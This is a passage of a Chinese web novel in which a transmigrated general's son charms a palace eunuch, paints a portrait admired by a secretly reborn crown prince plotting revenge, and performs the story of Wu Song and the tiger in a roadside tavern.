简禾本来要介绍姚公公的身份,却被姚公公摇头暗示,“这位郎君已经受了惊,就别再吓唬他了。” 严澈立刻红了眼,委屈地说:“在下严澈,乃南峻关守将严镇之子,虽出身边陲,学问不精,也不识都城贵胄……但也曾目睹南川天地高阔,城头见万千兵马厮杀……敢问先生,接物叩首之类的虚仪是否真的胜过见识阅历?这些礼仪可披甲破敌,护国安邦?请先生垂怜,劝说县主……放了在下吧。在下宁愿随父兄征战疆场,也不想跪在这里虚度光阴。” 这要是严家人在场,听见严澈这般说话,下巴都要惊掉了。谁叫简禾就在一旁看着呢?严澈怕说话不够“端庄”会又挨手板子。 在惹人怜爱方面,好皮囊确实有大作用。 严澈生了一双桃花眼,看向姚公公的时候有些发红,声音里带着鼻音,那委屈的劲儿不是装出来的。 姚公公见了,好笑之余忽然想起远在家乡多年未见小侄儿,当真是一入宫门深似海啊。 若是自家侄儿被人关起来学这些礼仪,还挨了那么多记板子,估计也早就掉豌豆咯。 “严小郎君唤我什么啊?”姚公公笑着问。 “啊,我看先生头发花白,慈眉善目,像私塾里的老夫子……你不是县主请来教我写字的吗?她说我字写的极丑。” 这老人家一来,县主也来了。县主虽然坐在主位上,但眼底没有了倨傲,说话的时候也带了三分笑。这位老人家不知道说了什么,县主看了严澈一眼,点了点头就起身离开了。 至于简禾在他面前也显得恭敬,对待严澈也比之前更严厉,仿佛生怕把严澈教的不够好。 老人家衣着低调,是个擅长待人接物的,但周身气质和当官的不一样。 喊对方一声“先生”,严澈就是故意以貌取人,夸对方形象气质好。 这马屁还真拍对了。 姚公公入宫之前还真就是个读书人,年少时的愿望就是在乡间开个私塾教书。几十年过去了,那心愿埋入岁月尘埃里,不再触碰。 而今这少年忽然一句“先生”竟然叫他心里生出几分对过往的怀念和惆怅。 “简大人,严小郎君的礼仪规矩学得怎样了?” 简禾恭敬地回答道:“严小郎君性虽活泼跳脱,然天资颖悟,诸般礼法规矩,一两遍即通晓。” 翻成大白话不就是:这小子有多动症,坐不住,但他聪明,学啥都快。 既然一两遍就学会了,为啥还把人关在这里学了那么久,这就是诚心折磨人啊! < p>姚公公了然地看向严澈,笑道:“严小郎君好福气,得简大人看中。孩子,教会你礼仪规矩容易,打磨好你的心性却难。沉不住气,在都城里可是要吃大亏的。” 严澈低着头,好半天才“嗯”了一声,然后转向简禾,恭恭敬敬地行了个礼,“多谢简大人这些日子的悉心教导。” 简禾略微露出霁色,毕竟和这皮猴子斗智斗勇好些天,也斗出几分感情来了。 “老夫也就教你一些接物叩拜之类的虚礼罢了,既不能保家也不能卫国。” 严澈抓了抓后脑勺,叹了口气,一字一句道:“我明白大人的苦心……都城里遍地都是王侯公卿,官大一级压死人,家父在南峻关尚能说一不二,可在都城里见到谁都要低头行礼。若是我不小心得罪了谁,严家兢兢业业镇守南峻的二十年心血就付诸东流了,说不得……连性命都保不住。简大人其实是教我低调做人,以礼法画地为牢,保护好自己。” 姚公公和简禾相视一笑。 “简大人,你这番心血倒是没有白费,可以放心了。我看今日天色不早了,不如留在县主这里用晚饭吧。正好,我们还能听严小郎君说一说南川风貌。” “姚公公,这边请。”简禾开口道。 什么?姚……公公?那不是承德帝身边的宦官吗? 严澈在心里嘿嘿一笑,机会来了!这不就是给严镇这个只知道闷头干事儿,却半点不懂向老板邀功的老实人一个被领导了解的机会吗? 他看的时候,就觉得承德帝的心态其实是可以代入现在那些老板来揣摩的。 这位顶级大老板啊,困在皇宫那个大笼子里,没机会见识外面的世界,身边的臣子要么是拍马屁的行家,要么是分割权利的高手,这个老板夜不能寐,成日担心有人要害自己。 于是,他在内心深处渴求自己的臣子都是老实人,能忠心不二、以皇帝的利益为优先、指哪儿打哪儿。 但真要是这样的纯臣出现在他面前了,他要么怀疑对方城府深不可测,更多的是这样的纯臣早被那些擅长办公室政治的高手们弄死了。 难得顶级大老板的首席助理来了,严澈当然要给自家老爹还有大哥树立一下人设,做一下公关。 毕竟,这个天下,什么靠山都不如皇帝这个靠山硬。 严澈穿书之前,小时候爱跟着爷爷奶奶在茶馆里听说书和相声,长大了喜欢脱口秀,讲起南峻的故事自然生动活泼,把姚公公逗得合不拢嘴。 他首先讲起的就是儿时拿着糖葫芦去找假装成花旦的南蛮探子的故事。 那一年,他不过六岁,还好被大哥严赋发现,在严澈差点偷溜进去之前把他拦下来,又派家将装扮成送菜的农民和打造箱子的匠人,潜入戏班子内部,里应外合一网打尽。 姚公公听得目不转睛,点着严澈的额头说:“严小郎君,看来你从小就喜欢漂亮的。色字头上一把刀,你怕不是唐突了县主,才会被县主留下来学礼仪吧?” 9.天还没亮呢! 严澈摸了摸后脑勺,有些委屈地小声道:“我就是多看了几眼挂在厅堂里的画,评价了一下说画上的人没有我大哥好……县主就生气了。” 姚公公算是听出来了,严澈对自己的这位大哥崇拜的很。 “据我所知,严将军只有一子一女啊。” “哦,他其实是我的表哥,在我们家长大,也跟着我们家姓。他一直很聪明,学东西也快,救了我爹好多次呢……” 眼见着严澈在姚公公面前又没了正形,简禾冷冷地瞥过来,严澈又赶紧跪坐端正了。 姚公公笑着说了声:“无妨,无妨,少年心性,一切自然。” 接着姚公公又问:“县主本来属意的应该是你这位表哥,可你爹为什么派了你来?” 严澈低下头,有些不好意思地说:“那是我抱着我爹的腿赖在地上求来的。” 简禾无奈地摇了摇头,“你小子啊!” 要么是见不得自己表哥被县主赏识,要么是不知天高地厚以为这娉霞山庄是什么好地方。 姚公公可是老人精了,他看着严澈的表情,就知道这少年的想法未必肤浅。 “为什么要求这个差事?说来听听,在这里,我尚能指点郎君一二,入了都城可就未必能说了。” 严澈歪着脑袋摸了摸后脑勺,很认真地看着姚公公道:“那就请先生为我解惑,看我做的对还是不对。” 姚公公点头,“说吧。” “我虽然从小就嫉妒大哥的才学能力,羡慕他得到父亲的倚重信赖,但也要承认自己无论是沙场冲阵还是固城守关,我的经验学识都不如大哥。” 姚公公的神情依旧和蔼,“人之常情。” 严澈这才继续道:“大哥是君子,他胸有抱负,剑指南蛮。如果,我是说如果他来给县主送礼,得到县主的青睐,是不是就得留在县主的身边了?满腔才干再无用武之地,英杰藏剑,壮士埋枪,还会被人说是倚裙带以进身……我自觉没有能力像大哥那样帮助父亲,所以私心不想大哥被县主看中……我就来了。” 这话太直白,没有丝毫委婉,简禾张了张嘴,想要教严澈怎么把这番话修饰一下,可又不知从何下手。 姚公公笑了笑,破天荒地起身,拍了拍严澈的肩膀,“郎君刚才说希望我为你解惑,但我看来,郎君赤子之心,没有做错。但是郎君千万记住,在旁人面前要收敛心性,莫要轻信那些说动听话来哄你开心的人。这世上知己难求,谁要是让你见过一两面就觉得是知己了,那人多半就是在哄骗你。” 这番话算是交浅言深了,严澈竟然在姚公公这儿感觉到几分来自长辈的爱护之心。 “但是,如果郎君有幸见圣驾,哪怕只有一面,你们严氏父子定要对圣上忠心直言,不可藏私。” 因为皇帝喜欢听人说真话,可偏偏听不到真话。 都城里的那些官儿,哪怕是所谓的清流,嘴巴上一片忠心向明月,皇帝只会信三成。 但是像严家这样在南峻关默默无闻守了二十年的本分臣子,说出来的真话皇帝起码会信五成。 只要天子相信严家,严家就算得罪了都城里的权贵,至少也能得到天子垂怜,保住性命。 严澈听到这里,明白这位姚公公应该是对严家有些好感了,虽然不多,但能对他说这番话,已经是一掷千金都听不到的提点。 “严澈谢谢先生。” 这顿饭一直吃到了快卯时三刻,严澈讲了不少南峻关的故事让姚公公听得津津有味,精彩之处更是笑声阵阵。 当侍女把这些告知县主的时候,县主若有所思地捏了捏茶杯的边缘。 姚公公侍奉陛下多年,表面上与所有人为善,实际上谨慎小心,能得他青眼的人不多。 “这位严家的小郎君,倒是有几分意思。” 晚饭结束,严澈回了自己的房间,他本以为和县主之间的纠葛终于可以结束了,正要好好睡上一觉,谁成想县主的贴身侍女又来了。 “县主说了,郎君欠县主一个珍品收藏,得还上了才能离开。” 严澈傻了眼,“什么珍品?什么收藏?难不成还真要我以身相许?” 侍女温婉地笑了一下,“严小郎君还有两年多才及冠,县主可没有那个耐心等。郎君不妨自己想一想,该怎么弥补?要不然郎君写一封信,唤你那位大哥来接你?” 严澈想也不想就立刻摇头,脑子里都是那些画上的俊美男子,再一想县主说的是“珍品收藏”,没说非得是人啊。 “行吧,劳烦姐姐帮我找来笔墨纸砚,我……我试试看……” 严澈深吸一口气,自己穿越之前,是跟着爷爷奶奶长大的。 爷爷喜欢武术,所以带他去练剑和枪,算是强身健体。 而奶奶是老年大学里国画社团的社长,严澈跟在她的身边,倒是打了几年的国画底子,平日里画个鱼虾荷叶、兰花啥的没问题,至于人物画要看发挥。 大多数时候奶奶看了笑而不语,但偶尔有那么几次神来之笔,画的什么牵牛的农夫、背篓的小孩儿,奶奶说画得不错。 心境好的时候,他的画还是有几分韵味的。 笔墨纸砚送来了,严澈咬着笔头,是真不知道该怎么办。 他书穿之后见过的美男子只有严赋一个,但是大哥是万万不能画的。 要不然画我自己?严澈真心觉得自己长得挺不错的,虽然嫩了点,他可以想象一下自己再成熟一点的样子…… 严澈对着铜镜,下笔试着画了五六张……别说县主了,他自己都不爱自己了。 要么仙侠剧里那些师尊、仙君之类? 唉,那些大多是滤镜一开万丈光,还不如县主的珍藏呢! 等候在侧的侍女轻声道:“郎君,如果实在为难,不如写信请令兄来接你吧。” 又叫我喊大哥来?我偏不。 “天还没亮呢,不写。” 严澈烦躁的很,起身把窗子推开,脑袋探了出去,一抬头就看见夜空中那一轮清幽的明月,脑海中蓦然出现在破道观里见到的帏帽男子,忽然之间就像七窍被点通,灵感如泉涌,转身就回到了案前,提笔挥墨。 侍女见严澈画废过许多次了,对他这一次能否成功并不抱期待。 只是没想到,严澈一气呵成之后竟然没有像之前那样把纸揉成团,而是放下了笔,双手撑在画纸两侧,好像有些舍不得画中人似的。 侍女走过来看了一眼,这幅画倒是越看越觉得有韵味,虽然她不确定县主一定会喜欢。 “你……就把这幅画送给县主吧。这要是还不行,干脆卖了我吧。” 严澈向后靠去,全身骨头一软,一副破罐子破摔的样子。 待画干透了,侍女才将这幅画收起,离开了严澈的房间。 深夜,县主屏退了所有仆从,独自一人走过回廊,路过荷花鲤鱼池,一直来到了山庄最深处的一间小筑。 这里太偏僻了,白天也鲜少有人会来,到了夜里就更加清冷。 小筑隐藏在一片竹林里,阶梯也是竹子制成的,踩在上面不但会晃动,还会发出吱呀吱呀的声响。 上了二楼,只见一位身着墨色道袍的男子撑着下巴,半闭着眼睛,倚靠在楼边。 他的头发被束于玉冠之内,偏偏夜风撩起一缕闲散的发丝,轻缓地起伏着,也不知要被拉扯到何方。 似睡非睡,半面月色清辉,慵懒从容,带着不染尘俗的高洁,矜贵得让县主挪不开眼。 而另外的眉眼隐在暗处,轮廓幽深引人遐思,所有情绪都被藏于云深雾海之下,外人难以窥见分毫。 “殿下,瑶昌来晚了,只是今日庄子上人太多,只有此刻能避开所有耳目来见殿下。” 瑶昌县主一改高傲清冷,非常恭顺地行了个礼。 男子并没有睁开眼,缓然开口道:“今日姚公公见了严家郎君,情形如何?” 瑶昌县主轻笑了一声:“严小郎君倒是挺会讨长辈的喜欢,又或者说姚公公就中意他这样的少年心性。” “要说这世上对父皇最忠心的人是谁,答案只有姚公公。姚公公的喜好都是照着父皇来的。” 县主微微一顿,“殿下的意思是,严家这一次回都城,有可能得陛下青眼?” “得父皇青眼的人来了又去,有的坟头青草依依,有的脑袋都没能留在脖子上。父皇的垂青,向来都是生死转念之间。” 瑶昌县主的喉咙动了动,眼前之人便是年少就跟着国师修道的太子。 这位平日里看起来像是没有爱憎欲望的储君,竟然会如此犀利而冰冷地评价自己的父皇。 “还是要多谢殿下派来了简大人。简大人可是我大衡朝最讲究礼仪之人,有他向陛下证明瑶昌与严小郎君没有任何私情,御史台郑大人的弹劾可以算是诬陷了。” “趁着这一次父皇觉得县主受了委屈,会多几分宽宥,就赶紧找机会说朝露山的秘密吧。皇伯父如果从未想过谋反,就算争得那座矿山也无利可图,说不定会成为催命符。” 瑶昌县主恭敬地答道:“父王已经入了都城,会当面向陛下请罪。” “如何说辞,想好了吗?” “想好了。就说之前争夺矿山,只是与齐王的意气之争,后知后觉发现山里可能有铁矿,但已经骑虎难下,不知如何是好。此番因为臣妾的事情被齐王党羽弹劾,担心之后还会出更大的问题,日夜难寐,只想与陛下坦诚。” 因为齐王构陷自己最宝贝的女儿而心有余悸,向皇帝坦白算是悬崖勒马,就算不够忠诚,但至少还畏惧皇权,确实是个将天子怒火引向齐王的好机会。 “若没有其他的事情,县主早些休息吧。” “倒是有一事请殿下定夺,就是严小郎君的这幅画,是毁是留?” 10.像你这样的好孩子 瑶昌县主也没有隐瞒,坦诚是自己让侍女去逗弄一下严澈,就算他什么都画不出来也没关系,但未曾想到打开这幅画的瞬间,县主一阵惊艳。 但惊艳过后,县主意识到这幅画中的可能是当朝太子。 倚阑而坐的男子终于侧过脸来,睁开了眼,看向县主在他面前打开的那幅画。 画中是一位身姿颀挺的道士,浓墨般的道袍与月色流光交织在一起,宛如流云泻地。 道士的乌发被一丝不苟地束在玉冠里,他旋身回望,帏帽轻纱遮尽容颜,只有一角的缝隙云霁天开,露出一只澄澈如寒星落墨的眼睛,那一眼的神韵实在摄人心魄。 整张画上没有太多明晰的线条,靠着墨色晕染,深浅交织,素纸留白恰成清寂意境。 君晏怔愣了片刻,他忽然意识到自己那一晚和国师在破烂道观里偶遇的少年就是严镇的儿子严澈。 而少年离去时吟诵的那句“且看人间花与月,春风亦可叩天门”蓦然在他的耳边重新响起。 那时候他没有太多感觉,而此刻看着严澈画中的自己,他忽然意识到也许在那少年郎的心里,对自己没有半点尘世俗念,纯粹的欣赏而已。 只是当那少年知道真实的自己是怎样冰冷的朽木,他的笔下还能画出这样的谪仙吗? “殿下?”县主用眼神询问对方是毁是留。 “烧……” 他刚想说“烧了吧”,但在那个瞬间,强烈的直觉告诉他烧了会后悔。 “放下吧。” 县主放下画之后就退离了竹林小筑。 直到夜色之中只剩下一个人,太子君晏站了起来,走到那幅画的面前,指尖轻轻沿着笔触行走,像是在感受作画者的心绪,然后君晏自嘲地笑了。 他是太子,皇后与承德帝之独子,舅父乃当朝丞相,在六岁那年承东宫宝册,就连他的名字“晏”字都取自海晏河清,可见父皇对他有多大的期许。 从小到大,他的学识品行都无从指摘,从不结党营私,与清流之士为友,以私库在民间开办学堂,收容孤儿,济养残兵,百姓对他赞誉有加,他活得都快成圣人了。 及冠那年,母后意味深长地对他说,晏儿你不必事事追求完美,做自己就好。 那时候的他根本不懂人心,也明白不了母后这句话里的深意。 一个完美的太子,会让自己的舅父觉得“你民心所向,哪里还有我的用武之地”,会让那些觊觎皇位的兄弟们迫不及待将他从云端拽入泥泞里。 而上一世,齐王正是个中翘楚,也是最后的胜利者。 当齐王的兵马围困都城的时候,他的好舅舅、当朝丞相明白大势已去,竟然不顾君臣伦常,向齐王投诚,甚至说出了一个惊天大秘密,那就是他君晏根本不是皇后的亲子,而是被天下人口诛笔伐的罪妃杨氏所出! 丞相竟然指责自己的亲妹,当朝皇后,在二十多年前为了稳固后位,用自己诞下的死婴换走了冷宫里杨氏生下的儿子。 君晏本来还持剑守在病危的父皇榻前,他还用太子的名义发了讨伐齐王的檄文,可这一切顷刻之间成了笑话。 齐王的逼宫成了清君侧的义举,曾经称赞他的清流名士因为他是罪妃杨氏的儿子就抹灭他的一切,对他口诛笔伐。百姓们说他是骗子,各路前来勤王的军队发现太子名不正言不顺,要么偃旗息鼓要么投奔齐王。 他孤坐在父皇榻前,低头询问父皇是不是也想他死,回答他的是满宫的宦官宫人们请他打开宫门向齐王和天下请罪,这样齐王就能绕过所有人。 只有他的母后带着心腹前来保护他出宫,可他们还没到离宫的密道,宫门已破,他们被齐王的人重重围困,万箭齐发。 他看见了齐王的眼神,充满了阴鸷的对他的嫉妒和恨意,这世上怎么可以有完美的人? 如果有,那么他的完美就注定被粉碎。 他记得母后紧紧抱住他,他们被无数次刺穿。 母后说,你的母亲杨氏是唯一真心待我的好友,我不是为了后位才让你做我的儿子,我只是想要保住她的骨血而已。 他埋首在母后的颈间,隐隐听见有人高喊“僭伪太子,业已伏诛”,就这样结束了他荒诞可笑的一生。 一朝醒来,他本以为入了阴曹地府,没想到竟然重生到了自己六岁那年! 他跌入了宫中的荷花池,大病了一场。 前世种种,历历在目,锥心之痛,负我必偿。 重活一世,宁做修罗,不做圣贤! 烧退之后,他便借口跟父皇说自己梦里被一位高深莫测的道士接引,才能死里逃生。他想要修道,为国祈福。 承德帝觉得太子不学治国,却跑去修道,实在说不过去。 但是在皇后的安排下,他做的那个梦在百姓间传开,市井疯传太子修道有益于国祚,承德帝只能下旨让他去皇家敕建的紫宸宫跟随国师修行。 脱离了皇宫,避开了那些波云诡谲的争斗,他开始暗中布局,厚积实力,调查生母死因。 他要让那些踩着他和母后的尸骨名声上位的人统统死无葬身之地。 君晏的指尖从画上挪开,他没来由想起自己第一次见到严澈时,对方跪在道祖前祈求菩萨和神佛保佑的好笑模样。 他说的什么来着? 神仙打架,城门失火,要怎样才能不殃及池鱼? 君晏还是重活一世才知道齐王对严家的算计,严澈竟然也知道自己是池鱼? 君晏这十几年的经历都验证了上辈子的事情是真的。可为什么到了严家,事情的发展就和料想的不一样了? 自己确实提前给瑶昌县主透露,如果严将军的外甥严赋把公孙瑕准备的礼物送回来了,就不要让他进庄子。 等严赋被公孙瑕的人埋伏的时候,自然是螳螂捕蝉黄雀在后,君晏派去的人会路见不平拔刀相助,正好将公孙瑕的人一网打尽。 但万万没想到,来的不是严赋,而是那位传说中素性乖张、肆意妄行的严澈。 虽然结果不是君晏想要的,严家倒是暂时脱了身。 画技,最能反映执笔者的心境。 严澈的笔触潇洒 ,对美好事物尽是坦荡欣赏,这样一个人为什么会有任性妄为的恶名? 只可惜,严小郎君画中的明月早就四分五裂跌入泥泞地狱,爬出来的只是满身业障的嗜血修罗罢了。 第二天清晨,严澈被窗外叽叽喳喳的鸟叫声吵醒了,他揉了揉眼睛,身体一颤,奇妙的感觉涌入心头。 他忽然有一种纵马狂奔的冲动,可他没学过骑马啊! 但直觉告诉他,现在的他会骑马了! 听闻姚公公已经启程返回都城,严澈赶紧去跟瑶昌县主道别。 县主在亭子里慢悠悠地喝着茶,抬起眼来看着严澈,笑道:“严小郎君不是争着抢着要来给本县主送礼吗?现在却归心似箭了。是嫌弃本县主了?” “县主气质高贵,犹如高领之巅的雪莲,凡夫俗子哪敢直视。怕是天上哪位神仙喝醉了酒,搭错了线,这才让严澈见了县主一面,哪敢再有嗔痴妄念。还是让草民早早回去,与父兄、阿姐团聚吧。” 话刚说完,县主抬了抬手背,唇上弯起一抹笑,“少在本县主这里装模作样。你们严家的情,本县主承下了。赶紧滚吧!” 有了这句话,严澈心里算是大安了。 “多谢县主。” 严澈向山庄管事借了马,闭上眼睛深吸一口气,他轻松跨了上去。 一切无师自通,他竟然知道该怎么指挥马儿向前跑,怎么控制马速,就这样一路追了出去,赶上了姚公公。 难不成,只要自己能帮严家避开一场灾难,就能获得一种属于原主的技能? 姚公公的马车停了下来,他的侍卫门差点拔剑,严澈的一声“先生,请留步”倒是让姚公公掀起了车帘。 “唷,这不是严小郎君?拦下老夫有何贵干啊?还是郎君想乘坐老夫的马车回都城?” 姚公公笑呵呵地问。 严澈不好意思地摸了摸后脑勺,他这时候跟着姚公公同行,表面上可以经营两人之间的关系,但其实私交内臣,会让皇帝觉得严家居心叵测,避嫌才是明智之举。 他解下背着的画筒递上前去。 “严澈听闻先生是宫中权要,在下身无功名,日后恐难再瞻尊颜。先生金玉良言,严澈已铭记于心。些许薄意,聊谢先生垂教之恩。” 身边的侍卫要检查那画筒,姚公公却示意直接将画筒接过来给他。 “严小郎君莫要妄自菲薄,你我后会有期。” 姚公公回到了马车里,行了老远,他才将里面的画取出来。 缓缓打开,画面上是一位儒雅的老者一手拿着书,另一手背在身后,颔首笑着看向地上的小鸡小鸭,真的是悠然畅意。 姚公公笑了一下,心想明明自己昨天晚上才教过严澈,告诉他所有让他见一两面就觉得是知己的人,多半是要哄骗他。 可此时,严澈这幅画正是他想要的乡野之中远离权力争斗的简单生活,但姚公公却不认为严澈在哄骗自己,他宁愿相信这少年只是想为自己圆梦而已。 “罢了,像你这样的好孩子……别被都城的染缸坏了心境才好。” 11.严澈说书 严澈骑马来到了驿站,父亲和姐姐都已经先行一步了,而大哥据说要留在玄津先生那里,他们过几日有个读书人在一起聊天吹水的辩论会。 严澈拿着地图看了半天,古代人真厉害啊,这么抽象的地图都能看懂?这是人均脑子里装了个GPS吧? 就在严澈绞尽脑汁研究地图还有所谓东西南北方位的时候,有人拍了一下他的后背。 “小郎君,这是平安无事回来了?应该毛都没有掉一根吧……哦,郎君说了,自己毛都没长全呢。” 那声音里是被阴阳怪气掩饰的关心。 严澈一回头,看见的就是梁椿,立刻大喜过望,一把将他抱住。 “椿哥,能在这里遇上你,真是久旱逢甘霖,他乡遇故知啊!” 梁椿:小郎君竟然会四字成语了? “郎君今日出发吗?若再耽搁下去,哪怕到了下下下个驿馆,也追不上将军了。” “那就准备好吃的喝的,我们现在就出发!” 于是严澈坐在车里敲着核桃,梁椿在外面一言不发地赶车。 行了一个多时辰,严澈就掀开帘子坐到了梁椿身边,把自己剥好的核桃送到他面前。 梁椿看着对方和善的笑脸,脸色突变,仿佛见到了鬼。 “这是要做什么?” “请你吃核桃。” “放了毒药?” 严澈立刻委屈了起来:“怎么可能?把你毒倒了谁给我赶车啊!” “那……倒是。所以这核桃不好吃?” “你尝一个不就知道了?” 说完,严澈就塞了一个进梁椿的嘴里。 核桃炒的时候放了些香料,回甘还有点甜,确实一点问题都没有。 “还真是铁树开花,千载难逢啊……我家主人都没吃过小郎君亲手剥的核桃。” “啊?没有吗?那你别告诉他。等我遇上他了,就给他剥,那他就是第一个了。” 梁椿听着严澈的话,有些恍惚。 因为自己是严赋的亲随,而严澈处处和他大哥较劲儿,自然也没给过梁椿好脸色。 但这一趟离开南峻关,怎么感觉小郎君怪怪的? “那个椿哥,我能问你个问题吗?” “你先问,我再考虑回不回答。” “你为什么总叫我‘郎君’?没有别的称呼吗?” 梁椿反问:“那你想我唤你什么?” “就……公子?” 小公子听着好像比小郎君正经一点,被人喊郎君,严澈总觉得自己好像被调侃了。 谁知道话音刚落,梁椿差点被自己的口水呛到。 “你想当公子?那将军还不够争气,没能成为诸侯公卿,连个二品以上的‘小’官儿都没能混上。” “哦……原来是这样啊。” 之前严澈没留意,原来在这个世界里,“公子”是不能乱叫的呢。 “要不然,叫我少爷?” 谁知道梁椿噗嗤一声又笑了,“我是不介意喊你少爷。可将军的俸禄好像并不多,你有当少爷的心,未必有扮少爷的钱。” “原来是这样。那你还是喊我郎君吧。” 看来当少爷,还得家里有钱,而严家只是这本书世界里的工薪阶层。 梁椿抬手按着严澈的脑袋,将他推回到车里,“我的小郎君哦,你还是车里待着吧。你这么和我坐一块儿,我不自在。” “理解,开车不能分心,不然撞到别的车就不好了!” 梁椿:那倒不至于,我怕你使坏才是真。 过了一小会儿,严澈探出脑袋,把水袋放在他身边,“口渴你就自己喝水,我睡觉了哈!” 这种体贴让梁椿更加不在了,“郎君,你对我这么好干什么?” 严澈懒洋洋的声音传过来:“你我都是牛马,当然要互相体谅。” 梁椿听不懂,为什么他们都是牛马? 马车一摇晃,严澈就犯困,等到睡醒的时候,他们已经到了一个小镇。 梁椿知道严澈是个吃穿讲究的主,真要叫他啃个饼子随便对付,他能把车顶掀翻,于是找了个看起来还不错的酒肆停了下来。 “郎君,如果你醒不来,我们就在路上啃饼子。” “啊?我不要啃饼子,我要吃肘子!还要咸的辣的!你都不知道我在娉霞山庄吃了多少苦!每天都是糖醋排骨、酸甜鸡片这种齁甜的,吃得我牙龈都肿了!” “多少人想吃这苦还吃不上呢。”梁椿没好气地说。 进了酒肆,严澈一坐下,就发现在不远处僻静的角落坐着两个道士。 诶,这不就是那天晚上在破道观里见到的冷脸持剑的道兄还有戴帷帽的谪仙吗? 旅途漫漫实在乏味,严澈凑上去想套个近乎,“两位道兄,数日不见,甚是想念!老道士呢?上茅房去了吗?” 冷脸道士的目光凛冽地瞥过来,这家伙仿佛有被害妄想症,手又扣在了剑柄上了,肩背紧绷,戒备感比那晚在破道观里强了不是一点半点。 帏帽男子淡淡地喝了一口茶,放下茶杯后指尖在桌面上轻轻敲了两下。 冷脸道士缓缓松开了剑,替对方倒茶,放下茶壶的时候才瓮声瓮气地说:“我们师父去别处会友了。我这位师兄路上感染了风寒,郎君还是离远一些的好。” 那就是不想和他聊天了呗。 严澈尊重人家想要清静的自由,于是回到了自己的桌前,梁椿给马添了草料,背着重要的行李进来。 这小祖宗啊,是银子都不管就跑了。 严澈点了个大蒜焖肘子,双手握着筷子,两颊都在发酸。 据说这道菜是把一层大蒜垫在肘子下面,肘子沾上蒜香的同时,大蒜又能把肘子的油腻都吸掉,是这个小镇的特色菜,远近闻名,就是很费大蒜。 梁椿:“吃完饭郎君就在车里好好待着,没事就别同我讲话了。” “啊?” “自己呼出来的大蒜味道,自己再吸进去。” “哦,这是要我自循环呐!” 梁椿:自循环是什么? 除了肘子,严澈又点了个凉拌鸡丝和肉沫豆腐,倒是比梁椿想象的要低调一些。 这样的酒肆,为了招揽生意,会让一些卖艺的人进来弹唱,或者会有说书人来讲故事。 今天,在酒肆说书的是一个大叔,一开始听到他说什么“烟雨情定,不问前程 ”,严澈还以为就是烂大街的才子佳人的爱情故事,谁知道说着说着就不对劲了。 这位佳人,是名满一州的才女,还是一位开了私塾,教妇人女子读书习字的女先生。 而那位才子竟然是什么都城首富…… 我勒个乖乖,这不就是承德帝在南川胭脂湖的拱桥上遇见杨氏的故事吗? 在说书人的故事里,杨氏所有的美名才情都是早就设计好的温柔陷阱,等着首富少爷一颗真心陷落。 无奈富家少爷早已经订了亲,对方还是高官之妹,得罪不起。 少爷对这位才女据实相告,想要斩断情缘,没想到才女却一路追随,愿意为妾。 严澈听到这里,脑门上青筋突突,这是明知道杨氏被废了,就落井下石,把她塑造成了明知情郎即将成亲却还要倒贴的绿茶? 所谓的高官之妹,不就是当今皇后,丞相嫡妹吗? 明明是丞相和太师生怕杨氏比皇后还有娴贵妃更早生下皇子,这俩权臣为了储君之位各种抹黑打压杨氏。 反倒是杨氏,人家在南川待得好好的,一辈子当个女先生教书育人,名声和自由都能比入宫好上一万倍。 大叔的故事持续发散中,什么才女为妾之后,在家中为了争夺夫郎的宠爱,开始了富家豪门版的金枝欲孽…… 周围人好像对这个故事见怪不怪了,市井之中早就习惯了把杨氏塑造成心机深沉、擅长后宫心机的典型反派,但严澈越听越是不舒服。 他看过,虽然没有言明,但他能猜到杨氏应该是前朝权利斗争的牺牲品。 人都死了这么多年了,还在被人拿来消遣。 严澈给梁椿夹了块猪脚,笑嘻嘻地问:“椿哥,有碎银子不?” “郎君想做甚?” “就给那个说书的,让他换个故事讲。” 梁椿没好气地说:“那你怎么不干脆上去自己讲?” “我当然也能讲,但我讲了,大家要是给我喝彩了,你能对我笑一笑吗?” “郎君,我是你的护卫,不是卖笑的。” “可你现在特别像卖惨的。” 严澈看过来的眼神明亮又真诚,看得梁椿额角青筋突突,从腰带里摸出指甲盖大小的碎银子,摁在桌面上。 “椿哥,你可真是勤俭持家啊。” 严澈捏着那粒碎银子,闭上一只眼睛仔细看了看,还没等梁椿说什么,他就起身来到说书大叔面前,低声在他面前说了声什么,大叔接过那粒银豆豆,把位置让给了严澈。 严澈咳嗽了一声,然后中气十足地开口道:“在下是来自南川的赶路书生梁椿!这些痴男怨女的故事,小生听了一路,有些烦腻了,不如就由小生为大家讲一出《武松打虎》!” 严澈记得里没有出现过《水浒传》的故事,大衡也是架空王朝,果然那些谈笑吃饭的客人们都看了过来。 梁椿摸了摸额头,唉,他的名字就这样上了台面。 “话说那行者武松,辞别好友,赶路归家。途径景阳冈,日头西斜,口干身乏……” 严澈生的好看,和市井间的说书人不同,表情灵动,语气也抑扬顿挫,一下子就吸引了满堂宾客的注意。 12.破庙再相逢 冷脸道士低声道:“这一路听胭脂湖的故事都听腻味了,我娘曾经跟着杨氏学写字,盛赞杨氏的才华和人品。谁成想,人都没了还被这样编排,我都想揍这些臭说书的。还好这小子上去了,还挺逗。” 君晏没有回应,但他面前那一碗的米饭用了大半,却没有立刻离开,只是安静地坐着。 他不知道是因为那严家郎君的声音太悦耳,还是因为他的故事自己没听过。 “……武松连饮十八碗烈酒,酒力上涌,豪气冲天!店家苦苦劝阻,言说冈上猛虎伤人……” 说着说着,就连店小二和掌柜都靠在一起吃起了花生米,鼓掌声阵阵,就连路人都停下了脚步,伸长了脖子听里面在说什么故事。 “自此,景阳冈武松徒手打虎的威名传遍四方,无人不知,无人不晓!” 一盏茶的功夫之后,武松打虎的故事说完了。 但众位宾客却意犹未尽,纷纷喊着要严澈再来一个。 严澈只能朝着宾客们拱手作揖:“时候不早了,小生还要赶路,实在不能多做停留。各位,我们有缘再会!” 他在大家伙儿的掌声里回到座位上,朝着梁椿抬了抬下巴,“椿哥,我这故事说得怎样?” 梁椿难得竖起大拇指,“你大哥可以不用担心了。哪怕有一天严家没落了,郎君有这一技之能,不愁没饭吃……” 话还没说完,严澈就把他的嘴给堵上了。 “童言无忌,大风吹去!” 说完,他还朝着四面八方拜拜。 “菩萨保佑,佛祖保佑,道祖保佑,我们南川严家一定要平安顺遂!鞋底抹祥云,脚踩狗屎运!” 梁椿没憋住,咳嗽了一声。 冷脸道士看他那模样,不由得低声嘲笑了一下:“这一次他倒晓得求神拜佛的时候把道祖给加上了。” 严澈结账的时候,说书的大叔来到他的面前,小心地问道:“郎君不是本地人,以后大家伙儿恐怕听不到这个武松打虎的故事了。如果鄙人在此说这打虎的故事,郎君介意否?” 